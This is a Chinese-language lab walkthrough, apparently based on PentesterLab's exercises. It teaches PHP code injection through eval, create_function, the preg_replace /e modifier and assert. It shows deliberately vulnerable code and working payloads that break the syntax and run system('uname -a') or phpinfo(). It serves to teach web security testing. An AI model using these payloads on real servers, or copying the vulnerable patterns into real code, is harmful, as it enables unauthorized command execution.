在本节中,我们将讨论代码执行。代码执行来自缺乏对用户控制数据的过滤和/或转义。在利用代码注入时,您需要在发送给应用程序的信息中注入代码。例如,如果要运行该命令ls,则需要发送system(“ls”)到应用程序,因为它是PHP应用程序。
就像Web应用程序问题的其他示例一样,知道如何注释掉其余代码(即:应用程序将添加到用户控制数据的后缀)总是很方便。在PHP中,您可以使用它//来删除应用程序添加的代码。
与SQL注入一样,您可以使用相同的值技术来测试并确保您有代码注入:
- 通过使用注释和注入/* random value */。
- 通过注入一个简单的连接”.”(”用于打破语法并正确改进)。
- 通过替换字符串连接提供的参数,例如,”.”ha”.”cker”.”而不是hacker。
您还可以使用PHP函数对此问题使用基于时间的检测sleep。您会看到以下两者之间的时差:
不使用该函数sleep或以零延迟调用它:sleep(0)。
长时间延迟调用函数:sleep(10)。
Example 1
<?php require_once("../header.php"); ?> <?php $str="echo \"Hello ".$_GET['name']."!!!\";"; eval($str); ?> <?php require_once("../footer.php"); ?>
第一个例子是一个简单的代码注入。如果您注入单引号,则不会发生任何事情。但是,您可以通过注入双引号来更好地了解问题:
Parse error: syntax error, unexpected '!', expecting ',' or ';' in /var/www/codeexec/example1.php(6) : eval()'d code on line 1
或许还有另一种方式:单引号可能会产生错误,双引号可能不会。
根据错误消息,我们可以看到代码正在使用函数eval:“Eval is evil …”。
我们看到双引号打破了语法,并且该函数eval似乎正在使用我们的输入。从这里,我们可以尝试计算出能够给我们带来相同结果的有效载荷:
- “.”:我们只是添加一个字符串连接; 这应该给我们相同的值。
- “./*pentesterlab*/”:我们只是在注释中添加字符串连接和信息; 这应该给我们相同的值。
现在我们有类似的值工作,我们需要注入代码。为了表明我们可以执行代码,我们可以尝试运行命令(例如uname -a使用代码执行)。完整的PHP代码如下所示:
system('uname -a');
这里的挑战是打破代码语法并保持一个干净的语法。有很多方法可以做到:
- 通过添加虚拟代码:”.system(‘uname -a’); $dummy=”。
- 通过使用代码:”.system(‘uname -a’);#或”.system(‘uname -a’);//。
不要忘记在发送请求之前,您需要对某些字符(#和;)进行URL编码。
Example 2
<?php require_once("../header.php") ?> <?php class User{ public $id, $name, $age; function __construct($id, $name, $age){ $this->name= $name; $this->age = $age; $this->id = $id; } } require_once('../header.php'); require_once('../sqli/db.php'); $sql = "SELECT * FROM users "; $order = $_GET["order"]; $result = mysql_query($sql); if ($result) { while ($row = mysql_fetch_assoc($result)) { $users[] = new User($row['id'],$row['name'],$row['age']); } if (isset($order)) { usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');')); } } ?> <table class='table table-striped' > <tr> <th><a href="example2.php?order=id">id</th> <th><a href="example2.php?order=name">name</th> <th><a href="example2.php?order=age">age</th> </tr> <?php foreach ($users as $user) { echo "<tr>"; echo "<td>".$user->id."</td>"; echo "<td>".$user->name."</td>"; echo "<td>".$user->age."</td>"; echo "</tr>"; } echo "</table>"; require '../footer.php'; ?> <?php require_once("../footer.php") ?>
订购信息时,开发人员使用两种方法:
- order by 在SQL请求中;
- usort 在PHP代码中。
该功能usort通常与该功能create_function一起使用,以基于用户控制的信息动态生成“排序”功能。如果Web应用程序缺乏有效的过滤和验证,则可能导致代码执行。
通过注入单引号,我们可以了解发生了什么:
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /var/www/codeexec/example2.php(22) : runtime-created function on line 1 Warning: usort() expects parameter 2 to be a valid callback, no array or string given in /var/www/codeexec/example2.php on line 22
该函数的源代码如下所示:
ZEND_FUNCTION(create_function) { [...] eval_code = (char *) emalloc(eval_code_length); sprintf(eval_code, "function " LAMBDA_TEMP_FUNCNAME "(%s){%s}", Z_STRVAL_PP(z_function_args), Z_STRVAL_PP(z_function_code)); eval_name = zend_make_compiled_string_description("runtime-created function" TSRMLS_CC); retval = zend_eval_string(eval_code, NULL, eval_name TSRMLS_CC); [...]
我们可以看到将要评估的代码放在大括号中{…},我们需要这些信息才能在注入后正确完成语法。
与之前的代码注入相反,在这里,您不会在单引号或双引号内注入。我们知道我们需要}使用//或者#( 需要编码)关闭语句并注释掉其余的代码。我们可以尝试用以下方法:
- ?order=id;}//:我们收到一条错误消息(Parse error: syntax error, unexpected ‘;’)。我们可能缺少一个或多个括号。
- ?order=id);}//:我们收到警告。这似乎是正确的。
- ?order=id));}//:我们收到一条错误消息(Parse error: syntax error, unexpected ‘)’ i)。我们可能有太多的结束括号。
由于我们现在知道如何正确完成代码(警告不会停止执行流程),我们可以使用代码,例如:?order=id);}system(‘uname%20-a’);//注入任意代码并获得代码执行。
Example 3
<?php require_once("../header.php"); ?> <?php echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]); ?> <?php require_once("../footer.php"); ?>
我们之前讨论过使用多行正则表达式的正则表达式修饰符。另外一个非常危险的修改在PHP中存在:PCRE_REPLACE_EVAL(/e)。preg_replace在执行替换之前,此修饰符将使函数将新值评估为PHP代码。
在这里,您需要通过添加/e修改器来更改模式。添加此修饰符后,您应该收到通知:
Notice: Use of undefined constant hacker - assumed 'hacker' in /var/www/codeexec/example3.php(3) : regexp code on line 1
该函数preg_replace尝试将值计算hacker为常量但未定义,并且您收到此消息。
您可以轻松替换hacker对函数的调用phpinfo()以获得可见结果。一旦看到phpinfo函数的结果,就可以使用该函数system运行任何命令。
Example 4
<?php require_once("../header.php"); // ensure name is not empty assert(trim("'".$_GET['name']."'")); echo "Hello ".htmlentities($_GET['name']); require_once("../footer.php"); ?>
此示例基于该功能assert。如果使用不正确,此功能将评估收到的值。此行为可用于获取代码执行。
通过注入单引号或双引号(取决于声明字符串的方式),我们可以看到一条错误消息,指示PHP调试评估代码:
Parse error: syntax error, unexpected T_ENCAPSED_AND_WHITESPACE in /var/www/codeexec/example4.php(4) : assert code on line 1 Catchable fatal error: assert(): Failure evaluating code: 'hacker'' in /var/www/codeexec/example4.php on line 4
一旦我们打破了语法,我们需要尝试正确地重建它。我们可以尝试以下方法:hacker’.’。错误消息消失了。
现在我们知道如何完成语法以避免错误,我们可以注入有效负载来运行函数phpinfo():hacker’.phpinfo().’我们在页面中获得PHP引擎的配置。